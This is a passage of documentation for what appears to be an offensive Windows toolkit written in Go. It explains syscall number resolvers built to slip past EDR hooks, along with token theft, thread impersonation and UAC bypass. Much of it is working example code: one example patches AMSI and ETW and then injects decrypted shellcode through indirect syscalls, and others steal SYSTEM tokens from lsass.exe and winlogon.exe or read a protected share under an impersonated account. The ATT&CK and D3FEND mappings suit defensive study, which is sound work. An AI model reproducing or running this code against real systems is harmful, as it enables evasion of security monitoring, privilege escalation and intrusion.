wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
// No plaintext function name in the binary -- only a uint32 hash constant
ret, err := caller.CallByHash(api.HashNtAllocateVirtualMemory,
uintptr(0xFFFFFFFFFFFFFFFF),
uintptr(unsafe.Pointer(&baseAddr)),
0,
uintptr(unsafe.Pointer(®ionSize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
Combined Example: Injection + Evasion + Indirect Syscalls
package main
import (
"log"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// 1. Create an indirect syscall caller with resilient SSN resolution
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(
wsyscall.NewTartarus(), // try JMP-hook trampoline first
wsyscall.NewHalosGate(), // fall back to neighbor scanning
),
)
defer caller.Close()
// 2. Apply evasion techniques through the same caller
evasion.ApplyAll([]evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
}, caller)
// 3. Decrypt payload
key := []byte("your-32-byte-AES-key-here!!!!!!")
encPayload := []byte{/* encrypted shellcode */}
shellcode, _ := crypto.DecryptAESGCM(key, encPayload)
// 4. Inject using indirect syscalls for all NT calls
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil { log.Fatal(err) }
if err := inj.Inject(shellcode); err != nil { log.Fatal(err) }
}
Advantages & Limitations
Advantages
- Transparent bypass: Consumer packages pass
*Caller-- same code works with WinAPI or indirect syscalls - RW/RX cycling: Stub pages are allocated RW, cycled to RX for execution, then back to RW -- no permanent RWX
- Pre-allocated stubs: One VirtualAlloc per Caller lifetime, not per call -- reduces API call noise
- Composable: Chain resolvers for maximum resilience against partial hooking
Limitations
- Direct syscalls: The
syscallinstruction at a non-ntdll address is trivially detectable by memory scanners - Indirect syscalls: Still require a
jmpgadget in ntdll -- if ntdll is entirely remapped, gadget scanning fails - SSN stability: SSNs change between Windows versions -- resolvers must run at runtime, not compile time
- x64 only: The stub layouts and PEB offsets are hardcoded for x86-64
API Reference
Types
type Method int
const (
MethodWinAPI Method = iota // Standard kernel32/ntdll (hookable)
MethodNativeAPI // ntdll NtXxx (bypass kernel32 hooks)
MethodDirect // Private syscall stub (bypass all userland)
MethodIndirect // Heap stub jumps into ntdll gadget
MethodIndirectAsm // Go-asm stub jumps into ntdll gadget — no heap stub, no VirtualProtect
)
Caller
func New(method Method, r SSNResolver) *Caller
func (c *Caller) WithHashFunc(fn HashFunc) *Caller
func (c *Caller) Call(ntFuncName string, args ...uintptr) (uintptr, error)
func (c *Caller) CallByHash(funcHash uint32, args ...uintptr) (uintptr, error)
func (c *Caller) Close()
SSN Resolvers
type SSNResolver interface {
Resolve(ntFuncName string) (uint16, error)
}
func NewHellsGate() *HellsGateResolver
func NewHalosGate() *HalosGateResolver
func NewTartarus() *TartarusGateResolver
func NewHashGate() *HashGateResolver
func NewHashGateWith(fn HashFunc) *HashGateResolver
func Chain(resolvers ...SSNResolver) *ChainResolver
Custom hashing
type HashFunc func(name string) uint32
func HashROR13(name string) uint32 // package default, satisfies HashFunc
Pass the same HashFunc to both NewHashGateWith (so the resolver hashes export-table names with it during the PEB walk) and Caller.WithHashFunc (so CallByHash uses it for its own ntdll export lookup). Build with a per-implant fn and the well-known ROR13 constants of NT function names stop appearing in the binary's .rdata.
See also
- Syscalls area README
syscalls/api-hashing.md— string-free import resolution for the Direct/Indirect pathsyscalls/ssn-resolvers.md— SSN extraction strategies plugged into the Caller
SSN Resolvers: Hell's Gate, Halo's Gate, Tartarus Gate, HashGate
MITRE ATT&CK: T1106 - Native API D3FEND: D3-SCA - System Call Analysis
What SSN resolvers are NOT
[!IMPORTANT] SSN resolvers is only the syscall-number-discovery axis (concern #2 in README.md). It answers "where does the syscall service number come from when the canonical source (the unhooked ntdll prologue) is unavailable?".
It does not decide:
- how the syscall fires once the SSN is known — that's the calling method (direct-indirect.md).
HellsGateis happy to feed an SSN toMethodWinAPI— the call still goes through every hook.- how the Nt* export is identified — that's api-hashing.md.
HashGateis the resolver that uses api-hashing internally; the rest still need a plaintext name.Switching from
HellsGatetoTartarusGatedoes not change what hooks see; it only changes where the SSN was read. Pair the resolver with the calling method that matches your stealth target.
Primer
Every Windows kernel function has a secret number called the SSN (Syscall Service Number). When you want to call the kernel directly (bypassing EDR hooks), you need to know this number. The problem is, these numbers are not documented and change between Windows versions.
Each NT function has a secret number -- these resolvers figure out the number even when guards try to hide it. Think of it like a secret menu at a restaurant. Hell's Gate reads the number directly from the menu (if nobody has covered it up). Halo's Gate checks the neighboring items on the menu to figure out what your item's number must be. Tartarus Gate follows the "see other page" redirect that the guards placed over the menu. HashGate uses a codebook to find the menu item without even knowing its name.
How It Works
Every resolver answers the same question — "what SSN does NtXxx map to on this host?" — but with different assumptions about how tampered the in-process ntdll is.
flowchart LR
A["Need SSN for NtXxx"] --> B[Resolver.Resolve]
B --> C[ntdll base via<br>GetProcAddress or PEB walk]
C --> D[Read function prologue]
D --> E{Intact?<br>4C 8B D1 B8}
E -->|Yes| F[SSN = bytes 4-5]
E -->|No| G[Strategy fallback:<br>neighbors / JMP follow / hash]
G --> F
F --> H[caller.Call builds<br>syscall stub]
- Hell's Gate — read
mov eax, imm32directly from the unhooked prologue. Fastest, fails on any hooked function. - Halo's Gate — target hooked? scan neighbours (±500 stubs × 32 bytes). Since SSNs are sequential in ntdll, an unhooked neighbour N stubs away implies
target_SSN = neighbour_SSN ± N. - Tartarus' Gate — target patched with
E9 xx xx xx xxorEB xx? follow the JMP into the EDR trampoline; most trampolines restoremov eax, imm32before the realsyscallinstruction. - Hash-based (HashGate) — resolve the function address itself via PEB walk + ROR13 export hashing. No
"NtAllocateVirtualMemory"string anywhere in the binary. Falls back to Hell's Gate for SSN extraction once the address is found. - Chain — compose resolvers (e.g. Tartarus → HashGate → Halo's); first success wins, giving layered resilience without reimplementing the strategies individually.
How Each Resolver Works
The ntdll Prologue
Every unhooked NT function in ntdll starts with the same byte pattern:
4C 8B D1 mov r10, rcx ; save first argument
B8 XX XX 00 00 mov eax, <SSN> ; load syscall number
...
0F 05 syscall ; enter kernel
C3 ret
The SSN is the two bytes at offset +4 and +5. All resolvers ultimately extract these bytes.
Decision Tree
flowchart TD
START["Need SSN for\nNtXxxFunction"] --> CHECK{"Is the prologue\nintact?\n(4C 8B D1 B8)"}
CHECK -->|"Yes, bytes match"| HELLS["HellsGate\nRead SSN directly\nfrom bytes 4-5"]
CHECK -->|"No, bytes modified"| HOOKTYPE{"What replaced\nthe prologue?"}
HOOKTYPE -->|"E9 xx xx xx xx\n(near JMP)"| TART_JMP["TartarusGate\nFollow JMP displacement\nto trampoline code"]
HOOKTYPE -->|"EB xx\n(short JMP)"| TART_SHORT["TartarusGate\nFollow short JMP\nto trampoline"]
HOOKTYPE -->|"Unknown patch\n(INT3, NOP sled, etc.)"| HALOS["HalosGate\nScan neighboring stubs\n(+/- 500 * 32 bytes)"]
TART_JMP --> TRAMP{"Trampoline has\nmov eax, imm32?"}
TART_SHORT --> TRAMP
TRAMP -->|"Yes, found B8 XX XX"| TART_OK["SSN extracted\nfrom trampoline"]
TRAMP -->|"No, unrecognized code"| HALOS
HALOS --> NEIGHBOR{"Found unhooked\nneighbor within\n500 stubs?"}
NEIGHBOR -->|"Yes: neighbor SSN = X\nat offset N"| CALC["Target SSN =\nX +/- N"]
NEIGHBOR -->|"No neighbors\nunhooked"| FAIL["Resolution failed"]
HELLS --> SUCCESS["SSN resolved"]
TART_OK --> SUCCESS
CALC --> SUCCESS
style SUCCESS fill:#4a9,color:#fff
style FAIL fill:#f66,color:#fff
style HELLS fill:#49a,color:#fff
style HALOS fill:#a94,color:#fff
style TART_JMP fill:#94a,color:#fff
style TART_SHORT fill:#94a,color:#fff
Hell's Gate
The simplest resolver. Reads the SSN directly from the unhooked function prologue.
flowchart LR
A["ntdll!NtCreateThreadEx"] --> B["Read bytes 0-7"]
B --> C{"4C 8B D1 B8?"}
C -->|Yes| D["SSN = bytes[4] | bytes[5]<<8"]
C -->|No| E["ERROR: hooked"]
style D fill:#4a9,color:#fff
style E fill:#f66,color:#fff
When to use: You know ntdll is not hooked (e.g., you loaded a fresh copy from disk, or the target has no EDR).
Fails when: Any EDR has patched the function prologue (the most common hooking strategy).
Halo's Gate
Extends Hell's Gate by exploiting the fact that SSNs are sequential in ntdll. If NtCreateThreadEx is hooked but the function 3 stubs above it (NtCreateFile, SSN=0x55) is not, then NtCreateThreadEx's SSN is 0x55 + 3.
flowchart TD
A["Target: NtCreateThreadEx\n(hooked, can't read SSN)"] --> B["Scan UP: addr - 32"]
A --> C["Scan DOWN: addr + 32"]
B --> D{"Unhooked?\n4C 8B D1 B8?"}
C --> E{"Unhooked?\n4C 8B D1 B8?"}
D -->|"Yes at offset -3"| F["Neighbor SSN = 0x55\nTarget = 0x55 + 3 = 0x58"]
E -->|"Yes at offset +2"| G["Neighbor SSN = 0x5A\nTarget = 0x5A - 2 = 0x58"]
D -->|No| H["Try next neighbor\n(up to 500)"]
E -->|No| H
style F fill:#4a9,color:#fff
style G fill:#4a9,color:#fff
When to use: EDR hooks your target function but leaves some neighbors unhooked.
Fails when: All 1000 neighboring stubs (500 up, 500 down) are hooked. Extremely unlikely in practice.
Tartarus Gate
Extends Hell's and Halo's Gate by understanding JMP hooks. When an EDR patches a function with E9 xx xx xx xx (near JMP) or EB xx (short JMP), Tartarus follows the jump to the EDR's trampoline code. The trampoline typically restores the original mov eax, <SSN> instruction before executing the syscall, so Tartarus scans the trampoline for the B8 XX XX pattern.
flowchart TD
A["Target function bytes:\nE9 4F 01 00 00 ..."] --> B["Near JMP detected"]
B --> C["displacement = 0x0000014F"]
C --> D["hookDest = addr + 5 + displacement"]
D --> E["Scan trampoline\nfor B8 XX XX pattern"]
E -->|"Found at offset +12"| F["SSN = trampoline[13] |\ntrampoline[14]<<8"]
E -->|"Not found"| G["Fall back to\nHalo's Gate scanning"]
style F fill:#4a9,color:#fff
style G fill:#a94,color:#fff
When to use: Default choice for maximum resilience. Handles unhooked, JMP-hooked, and partially hooked ntdll.
Fails when: The trampoline code does not contain a recognizable mov eax, imm32 AND all neighbors are also hooked.
HashGate
Resolves the function address via PEB walk + ROR13 export hashing instead of ntdll.NewProc(name). This eliminates string-based resolution entirely -- no "NtAllocateVirtualMemory" in the binary.
Once the function address is found via hash, SSN extraction uses the same Hell's Gate prologue check.
flowchart TD
A["Function name:\nNtCreateThreadEx"] --> B["ROR13 hash:\n0x4D1DEB74"]
B --> C["PEB walk:\nfind ntdll base via\nmodule hash 0x411677B7"]
C --> D["Walk PE exports:\nhash each name with ROR13"]
D --> E{"Hash matches\n0x4D1DEB74?"}
E -->|Yes| F["Function address found"]
F --> G{"Prologue intact?\n4C 8B D1 B8?"}
G -->|Yes| H["SSN extracted"]
G -->|No| I["ERROR: hooked\n(no neighbor scanning)"]
style H fill:#4a9,color:#fff
style I fill:#f66,color:#fff
style B fill:#a94,color:#fff
When to use: When you need string-free resolution. Combine with Chain() for hook resilience.
Fails when: The function is hooked (no neighbor scanning built in -- use Chain() with HalosGate for fallback).
Usage
Individual Resolvers
import wsyscall "github.com/oioio-space/maldev/win/syscall"
// Hell's Gate -- fast, simple, fails on hooked functions
hg := wsyscall.NewHellsGate()
ssn, err := hg.Resolve("NtCreateThreadEx")
// Halo's Gate -- neighbor scanning fallback
hag := wsyscall.NewHalosGate()
ssn, err := hag.Resolve("NtCreateThreadEx")
// Tartarus Gate -- JMP hook trampoline + neighbor fallback
tg := wsyscall.NewTartarus()
ssn, err := tg.Resolve("NtCreateThreadEx")
// HashGate -- string-free PEB walk resolution
hgr := wsyscall.NewHashGate()
ssn, err := hgr.Resolve("NtCreateThreadEx")
Chain: Compose Resolvers
import wsyscall "github.com/oioio-space/maldev/win/syscall"
// Try Tartarus first (handles JMP hooks), fall back to HashGate,
// then Halo's Gate as last resort
resolver := wsyscall.Chain(
wsyscall.NewTartarus(),
wsyscall.NewHashGate(),
wsyscall.NewHalosGate(),
)
caller := wsyscall.New(wsyscall.MethodIndirect, resolver)
defer caller.Close()
ret, err := caller.Call("NtAllocateVirtualMemory", /* args... */)
With Injection Pipeline
import (
"context"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
// Resilient resolver chain for hostile EDR environments
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(
wsyscall.NewTartarus(),
wsyscall.NewHalosGate(),
),
)
defer caller.Close()
pipe := inject.NewPipeline(caller)
err := pipe.Inject(context.Background(), shellcode,
inject.WithMethod(inject.MethodCreateThread),
)
Combined Example: Resolver Resilience Test
package main
import (
"fmt"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
functions := []string{
"NtAllocateVirtualMemory",
"NtProtectVirtualMemory",
"NtCreateThreadEx",
"NtWriteVirtualMemory",
}
resolvers := map[string]wsyscall.SSNResolver{
"HellsGate": wsyscall.NewHellsGate(),
"HalosGate": wsyscall.NewHalosGate(),
"TartarusGate": wsyscall.NewTartarus(),
"HashGate": wsyscall.NewHashGate(),
}
for name, resolver := range resolvers {
fmt.Printf("\n--- %s ---\n", name)
for _, fn := range functions {
ssn, err := resolver.Resolve(fn)
if err != nil {
fmt.Printf(" %s: FAILED (%v)\n", fn, err)
} else {
fmt.Printf(" %s: SSN=0x%04X\n", fn, ssn)
}
}
}
}
Advantages & Limitations
Advantages
- Layered resilience:
Chain()composes resolvers so the first successful one wins - JMP-hook aware: Tartarus Gate follows EDR trampolines that other resolvers cannot handle
- String-free option: HashGate eliminates all plaintext function names
- Zero external dependencies: Pure Go + unsafe pointer arithmetic, no CGo or assembly files
- Thread-safe: HashGate uses
sync.Oncefor lazy initialization; Caller usessync.Mutexfor stubs
Limitations
- Hell's Gate: Fails on any hooked function -- too fragile for production use alone
- Halo's Gate: Assumes 32-byte stub alignment -- non-standard ntdll layouts break it
- Tartarus Gate: Cannot handle inline hooks that do not contain a recognizable
mov eax, imm32 - HashGate: No hook resilience -- combine with Halo's/Tartarus via
Chain()for robustness - All resolvers: x64 only; SSN offsets and stub layouts differ on x86 and ARM64
API Reference
SSNResolver Interface
type SSNResolver interface {
Resolve(ntFuncName string) (uint16, error)
}
Resolvers
// HellsGateResolver reads SSN from unhooked ntdll prologue.
func NewHellsGate() *HellsGateResolver
// HalosGateResolver scans neighboring stubs when target is hooked.
func NewHalosGate() *HalosGateResolver
// TartarusGateResolver follows JMP hooks to extract SSN from trampoline.
func NewTartarus() *TartarusGateResolver
// HashGateResolver resolves via PEB walk + ROR13 hashing (no strings).
func NewHashGate() *HashGateResolver
// Chain tries multiple resolvers in sequence, returning first success.
func Chain(resolvers ...SSNResolver) *ChainResolver
See also
- Syscalls area README
syscalls/api-hashing.md— HashGate uses these primitives to find Nt* exportssyscalls/direct-indirect.md— once the SSN is known, this is how the syscall fires
Token Manipulation
The win/token, win/impersonate, win/privilege, and privesc/uac packages provide Windows token manipulation: stealing tokens from other processes, thread impersonation, privilege escalation, and UAC bypass.
Architecture Overview
graph TD
subgraph "win/token"
STEAL["Steal(pid)"]
STEALNAME["StealByName(name)"]
STEALDUP["StealViaDuplicateHandle()"]
OPEN["OpenProcessToken()"]
INTERACTIVE["Interactive()"]
PRIV["EnableAllPrivileges()"]
TOKEN["*Token"]
STEAL --> TOKEN
STEALNAME --> STEAL
STEALDUP --> TOKEN
OPEN --> TOKEN
INTERACTIVE --> TOKEN
TOKEN --> PRIV
end
subgraph "win/impersonate"
LOGON["LogonUserW()"]
IMP["ImpersonateLoggedOnUser()"]
THREAD["ImpersonateThread()"]
THREAD --> LOGON --> IMP
end
subgraph "win/privilege"
ISADMIN["IsAdmin()"]
EXECAS["ExecAs()"]
LOGONCREATE["CreateProcessWithLogon()"]
RUNAS["ShellExecuteRunAs()"]
end
subgraph "privesc/uac"
FOD["FODHelper()"]
SLUI["SLUI()"]
SILENT["SilentCleanup()"]
EVT["EventVwr()"]
end
TOKEN -.->|"used by"| THREAD
TOKEN -.->|"used by"| EXECAS
Documentation
| Document | Description |
|---|---|
| Token Theft | Steal, StealByName, StealViaDuplicateHandle |
| Thread Impersonation | LogonUserW + ImpersonateLoggedOnUser |
| Privilege Escalation | ExecAs, CreateProcessWithLogon, UAC bypass |
Quick decision tree
| You want to… | Use |
|---|---|
| …steal a primary token from another PID | token-theft.md — Steal(pid) |
| …steal a token by process name | token-theft.md — StealByName(name) |
…run code as domain\user with credentials | impersonation.md — ImpersonateThread |
…run code as NT AUTHORITY\SYSTEM | impersonation.md — GetSystem (winlogon clone) |
…run code as TrustedInstaller | impersonation.md — GetTrustedInstaller |
…enable SeDebugPrivilege (or any SeXxx) on the current token | privilege-escalation.md — EnablePrivilege |
| …spawn a child process under alternate credentials | privilege-escalation.md — ExecAs(...) |
| …check if I'm admin / elevated right now | privilege-escalation.md — IsAdmin() |
| …trigger a UAC consent prompt and elevate | privilege-escalation.md — ShellExecuteRunAs |
MITRE ATT&CK
| Technique | ID | Description |
|---|---|---|
| Access Token Manipulation | T1134 | Token theft and manipulation |
| Token Impersonation/Theft | T1134.001 | Thread impersonation |
| Abuse Elevation Control Mechanism: UAC Bypass | T1548.002 | FODHelper, SLUI, SilentCleanup, EventVwr |
D3FEND Countermeasures
| Countermeasure | ID | Description |
|---|---|---|
| Token Authentication and Authorization Normalization | D3-TAAN | Monitor token manipulation |
| User Account Profiling | D3-UAP | Detect privilege escalation |
See also
tokens/token-theft.md— open + duplicate primary tokenstokens/impersonation.md— run code under a stolen contexttokens/privilege-escalation.md— adjust SeXxx privilegessyscallstechniques (index) — sibling Layer-1 area
Token Stealing
MITRE ATT&CK: T1134 - Access Token Manipulation D3FEND: D3-TAAN - Token Authentication and Authorization Normalization
Primer
Every process on Windows runs under a security token that defines who it is and what it can do. A SYSTEM process has a powerful token; a regular user process has a limited one.
Stealing someone's employee badge to access restricted areas. Token theft duplicates the security token from a high-privilege process (like lsass.exe or winlogon.exe) and uses it to create new processes or perform actions with that identity. The original process is unaffected -- you have a copy of its badge.
How It Works
Token Theft Flow
sequenceDiagram
participant Attacker as "Attacker Process"
participant Target as "Target Process (SYSTEM)"
participant Kernel as "Windows Kernel"
Attacker->>Kernel: OpenProcess(PROCESS_QUERY_INFORMATION, targetPID)
Kernel-->>Attacker: Process handle
Attacker->>Kernel: OpenProcessToken(handle, TOKEN_DUPLICATE|TOKEN_QUERY)
Kernel-->>Attacker: Token handle
Attacker->>Kernel: DuplicateTokenEx(token, TOKEN_ALL_ACCESS,<br>SecurityImpersonation, TokenPrimary)
Kernel-->>Attacker: Duplicated token (new handle)
Note over Attacker: Now holds a SYSTEM-level<br>primary token
Attacker->>Kernel: CreateProcessAsUser(dupToken, "cmd.exe")
Note over Attacker: New cmd.exe runs as SYSTEM
Three Theft Methods
flowchart TD
START["Need a token"] --> Q1{"Know the\nprocess PID?"}
Q1 -->|Yes| STEAL["Steal(pid)\nOpen process -> Open token -> Duplicate"]
Q1 -->|No| Q2{"Know the\nprocess name?"}
Q2 -->|Yes| STEALNAME["StealByName(name)\nEnum processes -> Find PID -> Steal"]
Q2 -->|No| Q3{"Have process\nhandle with\nDUP_HANDLE?"}
Q3 -->|Yes| DUPHANDLE["StealViaDuplicateHandle()\nDuplicate remote handle -> Duplicate token"]
Q3 -->|No| INTERACTIVE["Interactive(type)\nWTS session -> QueryUserToken"]
STEAL --> TOKEN["*Token"]
STEALNAME --> TOKEN
DUPHANDLE --> TOKEN
INTERACTIVE --> TOKEN
style STEAL fill:#4a9,color:#fff
style STEALNAME fill:#49a,color:#fff
style DUPHANDLE fill:#94a,color:#fff
style INTERACTIVE fill:#a94,color:#fff
DuplicateHandle Bypass
The StealViaDuplicateHandle technique bypasses the token's DACL by duplicating a handle from the remote process's handle table, rather than opening the token directly:
flowchart LR
subgraph "Standard Steal"
A1["OpenProcess"] --> A2["OpenProcessToken"]
A2 -->|"DACL check"| A3["Token"]
A2 -.->|"ACCESS_DENIED\n(protected process)"| FAIL1["Failed"]
end
subgraph "DuplicateHandle Bypass"
B1["OpenProcess\n(PROCESS_DUP_HANDLE)"] --> B2["NtQuerySystemInformation\n(find token handles)"]
B2 --> B3["DuplicateHandle\n(bypass DACL)"]
B3 --> B4["DuplicateTokenEx"]
B4 --> B5["Token"]
end
style FAIL1 fill:#f66,color:#fff
style B5 fill:#4a9,color:#fff
Usage
Steal by PID
import "github.com/oioio-space/maldev/win/token"
// Steal SYSTEM token from lsass.exe (PID 680)
tok, err := token.Steal(680)
if err != nil {
log.Fatal(err)
}
defer tok.Close()
// Check the identity
details, _ := tok.UserDetails()
fmt.Println(details.Username) // "SYSTEM"
Steal by Process Name
// Find and steal token from winlogon.exe
tok, err := token.StealByName("winlogon.exe")
if err != nil {
log.Fatal(err)
}
defer tok.Close()
// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "System"
Steal via DuplicateHandle
import (
"golang.org/x/sys/windows"
"github.com/oioio-space/maldev/win/ntapi"
"github.com/oioio-space/maldev/win/token"
)
// Open process with PROCESS_DUP_HANDLE
hProcess, _ := windows.OpenProcess(
windows.PROCESS_DUP_HANDLE, false, targetPID,
)
defer windows.CloseHandle(hProcess)
// Find token handle in remote process via NtQuerySystemInformation
// (remoteTokenHandle discovered via ntapi.FindHandleByType)
var remoteTokenHandle uintptr = 0x1234
tok, err := token.StealViaDuplicateHandle(hProcess, remoteTokenHandle)
if err != nil {
log.Fatal(err)
}
defer tok.Close()
Token Privilege Management
tok, _ := token.Steal(targetPID)
defer tok.Close()
// Enable all privileges
tok.EnableAllPrivileges()
// Enable specific privilege
tok.EnablePrivilege("SeDebugPrivilege")
// List all privileges
privs, _ := tok.Privileges()
for _, p := range privs {
fmt.Println(p) // "SeDebugPrivilege: Enabled"
}
// Check integrity level
level, _ := tok.IntegrityLevel()
fmt.Println(level) // "High", "System", etc.
Combined Example: Token Theft + Process Creation
package main
import (
"fmt"
"github.com/oioio-space/maldev/win/privilege"
"github.com/oioio-space/maldev/win/token"
)
func main() {
// Check if we are admin
isAdmin, isElevated, _ := privilege.IsAdmin()
fmt.Printf("Admin: %v, Elevated: %v\n", isAdmin, isElevated)
// Steal SYSTEM token from winlogon.exe
tok, err := token.StealByName("winlogon.exe")
if err != nil {
fmt.Println("Token theft failed:", err)
return
}
defer tok.Close()
// Enable SeDebugPrivilege on the stolen token
tok.EnablePrivilege("SeDebugPrivilege")
// Verify identity
details, _ := tok.UserDetails()
fmt.Printf("Stolen identity: %s\\%s\n", details.Domain, details.Username)
level, _ := tok.IntegrityLevel()
fmt.Println("Integrity:", level)
// Use the token to list all privileges
privs, _ := tok.Privileges()
for _, p := range privs {
if p.Enabled {
fmt.Println(" [+]", p.Name)
}
}
}
Advantages & Limitations
Advantages
- Three theft methods: Direct PID, by name, and DuplicateHandle bypass cover most scenarios
- Full privilege management: Enable, disable, remove individual or all privileges
- DuplicateHandle bypass: Circumvents token DACL restrictions on protected processes
- Token introspection: UserDetails, IntegrityLevel, Privileges, LinkedToken
- Detach for lifetime management:
tok.Detach()transfers handle ownership to caller
Limitations
- SeDebugPrivilege required: Stealing from SYSTEM processes requires debug privilege
- Process must be accessible: Cannot steal from PPL (Protected Process Light) without kernel exploit
- Token is a copy: Changes to the stolen token do not affect the original process
- Detectable: OpenProcess + OpenProcessToken is logged by ETW and most EDR products
- Session 0 isolation: SYSTEM tokens from Session 0 cannot interact with the user desktop
API Reference
Token Creation
func Steal(pid int) (*Token, error)
func StealByName(processName string) (*Token, error)
func StealViaDuplicateHandle(hProcess windows.Handle, remoteTokenHandle uintptr) (*Token, error)
func OpenProcessToken(pid int, typ Type) (*Token, error)
func Interactive(typ Type) (*Token, error)
func New(t windows.Token, typ Type) *Token
Token Methods
func (t *Token) Token() windows.Token
func (t *Token) Close()
func (t *Token) Detach() windows.Token
func (t *Token) UserDetails() (TokenUserDetail, error)
func (t *Token) IntegrityLevel() (string, error)
func (t *Token) LinkedToken() (*Token, error)
func (t *Token) Privileges() ([]Privilege, error)
func (t *Token) EnableAllPrivileges() error
func (t *Token) DisableAllPrivileges() error
func (t *Token) RemoveAllPrivileges() error
func (t *Token) EnablePrivilege(priv string) error
func (t *Token) DisablePrivilege(priv string) error
func (t *Token) RemovePrivilege(priv string) error
Types
type Type int
const (
Primary Type // Primary token for process creation
Impersonation Type // Impersonation token for thread-level
Linked Type // Linked (elevated) token
)
See also
- Tokens area README
tokens/impersonation.md— consume the stolen handle to run code as the targettokens/privilege-escalation.md— adjust privileges before / after impersonation
Thread Impersonation
MITRE ATT&CK: T1134.001 - Access Token Manipulation: Token Impersonation/Theft D3FEND: D3-TAAN - Token Authentication and Authorization Normalization
Primer
Token theft gives you a copy of someone else's badge. Thread impersonation goes further -- it lets a specific thread in your process temporarily wear that badge to perform actions as that user, then revert back to your original identity.
Temporarily wearing someone else's uniform for a specific task. You log in as another user (with their credentials), impersonate their identity on a locked OS thread, do the work, then call RevertToSelf() to become yourself again. The impersonation is scoped to a single thread and automatically cleaned up.
How It Works
Impersonation Flow
sequenceDiagram
participant Thread as "Locked OS Thread"
participant Win as "Windows API"
participant Callback as "callbackFunc()"
Thread->>Thread: runtime.LockOSThread()
Note over Thread: Thread pinned to OS thread
Thread->>Win: LogonUserW(user, domain, password)
Win-->>Thread: Token handle
Thread->>Win: EnableAllPrivileges(token)
Thread->>Win: ImpersonateLoggedOnUser(token)
Note over Thread: Thread now runs as<br>the impersonated user
Thread->>Callback: callbackFunc()
Note over Callback: All operations use<br>impersonated identity
Callback-->>Thread: return
Thread->>Win: RevertToSelf()
Note over Thread: Thread identity restored
Thread->>Thread: runtime.UnlockOSThread()
Thread->>Win: token.Close()
Why LockOSThread is Required
flowchart TD
subgraph "Without LockOSThread (BROKEN)"
A1["goroutine calls\nImpersonateLoggedOnUser"] --> A2["Go scheduler moves\ngoroutine to OS Thread 2"]
A2 --> A3["OS Thread 1 still impersonating\nOS Thread 2 is NOT impersonating"]
A3 --> A4["Operations use WRONG identity"]
end
subgraph "With LockOSThread (CORRECT)"
B1["goroutine calls\nruntime.LockOSThread()"] --> B2["goroutine calls\nImpersonateLoggedOnUser"]
B2 --> B3["Go scheduler CANNOT\nmove this goroutine"]
B3 --> B4["All operations on\nimpersonated OS thread"]
B4 --> B5["RevertToSelf()"]
B5 --> B6["runtime.UnlockOSThread()"]
end
style A4 fill:#f66,color:#fff
style B4 fill:#4a9,color:#fff
Usage
Basic Thread Impersonation
import "github.com/oioio-space/maldev/win/impersonate"
err := impersonate.ImpersonateThread(
false, // not domain-joined
".", // local machine
"admin", // username
"Password123!", // password
func() error {
// Everything in this callback runs as "admin"
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\\%s\n", domain, user)
// Perform privileged operations here
return nil
},
)
Domain Impersonation
err := impersonate.ImpersonateThread(
true, // domain-joined
"CORP", // domain name
"svc_backup", // domain user
"BackupP@ss2024!", // password
func() error {
// Running as CORP\svc_backup
// Access network shares, domain resources, etc.
return nil
},
)
Low-Level: LogonUserW + ImpersonateLoggedOnUser
import (
"runtime"
"github.com/oioio-space/maldev/win/impersonate"
"github.com/oioio-space/maldev/win/token"
"golang.org/x/sys/windows"
)
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Log in as another user
t, err := impersonate.LogonUserW(
"admin", ".", "Password123!",
impersonate.LOGON32_LOGON_INTERACTIVE,
impersonate.LOGON32_PROVIDER_DEFAULT,
)
if err != nil {
log.Fatal(err)
}
wt := token.New(t, token.Impersonation)
defer wt.Close()
// Enable privileges on the token
wt.EnableAllPrivileges()
// Impersonate on this thread
impersonate.ImpersonateLoggedOnUser(wt.Token())
defer windows.RevertToSelf()
// Perform actions as the impersonated user
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Impersonating: %s\\%s\n", domain, user)
Combined Example: Impersonate + Access Protected Resource
package main
import (
"fmt"
"os"
"github.com/oioio-space/maldev/win/impersonate"
)
func main() {
// Check current identity
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Before: %s\\%s\n", domain, user)
// Impersonate a service account to read a protected file
err := impersonate.ImpersonateThread(
true, // domain account
"CORP",
"svc_fileserver",
"FileServ!2024",
func() error {
// Running as CORP\svc_fileserver
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("During: %s\\%s\n", domain, user)
// Read a file only accessible to svc_fileserver
data, err := os.ReadFile(`\\fileserver\share$\sensitive.dat`)
if err != nil {
return err
}
fmt.Printf("Read %d bytes from protected share\n", len(data))
return nil
},
)
if err != nil {
fmt.Println("Impersonation failed:", err)
}
// Back to original identity
user, domain, _ = impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("After: %s\\%s\n", domain, user)
}
Advantages & Limitations
Advantages
- Scoped impersonation:
ImpersonateThreadhandles LockOSThread + RevertToSelf automatically - Privilege escalation:
EnableAllPrivilegescalled on the token before impersonation - Domain support: Works with both local and domain accounts
- errgroup integration: Uses
golang.org/x/sync/errgroupfor clean error propagation - Thread safety:
runtime.LockOSThread()ensures impersonation stays on the correct OS thread
Limitations
- Requires credentials: Needs plaintext username and password (not a token)
- Logon type limitations:
LOGON32_LOGON_INTERACTIVErequires "Allow log on locally" right - Network logon restrictions: Local accounts cannot access network resources via type 2 logon
- Detectable:
